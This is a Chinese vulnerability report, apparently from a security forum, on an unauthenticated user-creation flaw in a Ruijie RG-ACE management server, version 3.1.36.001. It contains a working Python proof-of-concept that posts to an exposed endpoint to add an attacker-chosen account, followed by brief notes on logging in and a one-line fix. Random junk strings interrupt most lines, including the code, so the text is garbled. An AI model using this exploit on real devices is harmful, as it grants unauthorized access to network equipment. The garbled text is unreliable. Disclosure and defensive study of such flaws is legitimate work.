锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低) b* H& Y% h3 K; L
W, i1 j/ }. O- o4 K# Z4 ^) s6 O8 ]0 b, W8 c1 V5 |+ Y
测试的具体版本是
4 a5 L3 m: z8 C8 ]( R产品名称: 锐捷应用控制引擎
' \, u1 Z" p `7 i版本号: 3.1.36.001 TC. ]4 O% {$ B5 T7 t% }' Q
编译时间: 201104291730' o l1 w# m( r9 \
$ L9 m& |/ p! X! V( [: F( y( Q
: ~, p7 X; v8 p6 E% C7 o! N- u2 L0 ?漏洞证明:' E6 o$ J& B* G5 v1 z' d$ u
, h: u4 O7 e) l% @' I9 P5 {% H$ @1 n. z7 R. C! }
5 q7 m$ w# K% S6 p4 W$ {
! R# c8 m+ M1 b$ u @* S7 c0 D. f, A& |
' G& w& ^2 s. H( b* c: _/ a4 S3 ]执行脚本0 l$ v; v0 a" n/ C0 f
#! /usr/bin/env python
% y" s+ H* w9 e { ?! P1 k#coding=gbk# i# @! a) |% L) c
#RG-ACE管理服务器 V3.1.36.001% W( `# {! g! h( a8 Y4 a
import urllib2, urllib,cookielib
( T3 i; A, Q2 u+ [* R( _url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP% ]% E7 ?* w! ]. C' q x8 y
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
) \5 v$ r) e8 p& G; d3 Sopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]7 f# S" i. B( D) \& g3 z8 w9 z" I8 t
post=(("event","userManager.doInsertUserInfo")," q" @1 M& N' ]1 ~% F
("useractionname","addButtonValue"),
; C2 S* G0 D; A# M- s! @3 p# z("useropermanager","userManager"),
( q. }; M# {( s+ o/ ^("userName","t"), #######账号自己加8 y" z5 U e" ~6 a6 d1 z
("pwd","aaaaaa"),######密码自己加
% |( u v0 n$ L4 H0 y3 W2 C("trueName","ad"),) d4 P8 D; z& r
("email",""),
, U$ L! ?# q' o2 w! y! u("mobilePhone",""),
( h. v" J2 V1 A4 a("officePhone",""),5 U( g+ o0 O5 a K2 f
("addr",""),
1 f! K/ F! O% F/ X: e( t6 I% t k("submit","确定"))2 h. V% R2 G$ X5 y# V# J
urllib2.install_opener(opener)
9 V- r1 y. V2 Yp=urllib2.urlopen(url, urllib.urlencode(post)).read(): G4 [0 b6 K1 J
print "Done"2 j# M4 C- H! ?
) `5 H u& {/ |# ]9 R: D
登录,连接设备
! n8 G6 f& A5 U2 ]$ V0 w1 N' _3 V) f$ ~) f) G& A; Q- }
& I1 _$ {4 r, t; a
& G1 \0 F4 H# R5 [# g( c( W) [9 Q
" l+ w! J: u4 s: L. k9 H5 U# t- }
, n- h+ f# c( T
默认的管理员admin权限更大点
# N9 @- W T! Q2 E0 x2 O/ W+ L) d3 E4 ]6 m( n W' R' U
4 y ]% K; J0 H7 |2 K. I+ _' i5 o9 W# z7 ^4 \0 A' ~' Y5 `. u
6 p: A' o* L8 e1 |+ g" l
d% F0 J8 K+ E4 ]# W修复方案:
: |# d, ?+ p$ t加强对接口的权限验证
+ G7 s# ^5 m& J5 z, B% Z: G! l2 q* b; P: v5 [# V
|